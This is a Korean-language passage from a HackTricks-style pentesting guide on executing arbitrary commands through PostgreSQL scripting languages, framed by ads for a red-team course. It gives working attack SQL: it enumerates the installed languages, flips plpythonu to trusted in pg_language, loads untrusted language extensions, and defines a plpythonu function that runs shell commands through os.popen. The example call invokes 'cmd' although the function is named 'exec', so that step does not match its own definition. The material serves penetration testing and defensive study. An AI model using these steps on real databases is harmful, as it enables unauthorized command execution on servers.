RCE with PostgreSQL Languages

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

PostgreSQL 언어

접근한 PostgreSQL 데이터베이스에는 설치된 다양한 스크립팅 언어가 있을 수 있으며, 이를 악용하여 임의의 코드를 실행할 수 있습니다.

다음과 같이 실행할 수 있습니다:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

대부분의 PostgreSQL에 설치할 수 있는 스크립팅 언어는 2가지 유형이 있습니다: 신뢰할 수 있는 언어와 신뢰할 수 없는 언어입니다. 신뢰할 수 없는 언어는 "u"로 끝나는 이름을 가지며, 코드를 실행하고 다른 흥미로운 함수를 사용할 수 있는 버전입니다. 다음은 설치되면 흥미로운 언어입니다:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (다른 언어도 보안 취약 버전을 사용하는 경우)

만약 PostgreSQL에서 설치되어 있지만 신뢰할 수 없는 언어를 찾았다면 (**lanpltrusted**가 **false**인 경우), 다음 줄을 사용하여 PostgreSQL에서 제한을 적용하지 않도록 신뢰할 수 있습니다:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

만약 언어가 보이지 않는다면, 다음과 같이 로드해 볼 수 있습니다. (슈퍼 관리자 권한이 필요합니다):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

안전한 버전을 "안전하지 않은" 버전으로 컴파일하는 것도 가능합니다. 예를 들어 여기를 확인해보세요. 따라서, 설치된 신뢰할 수 있는 버전만 찾았다고 하더라도 코드를 실행할 수 있는지 시도하는 것은 항상 가치가 있습니다.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

다음 페이지를 확인하세요:

pagePL/pgSQL Password Bruteforce

C

다음 페이지를 확인하세요:

pageRCE with PostgreSQL Extensions
AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

Last updated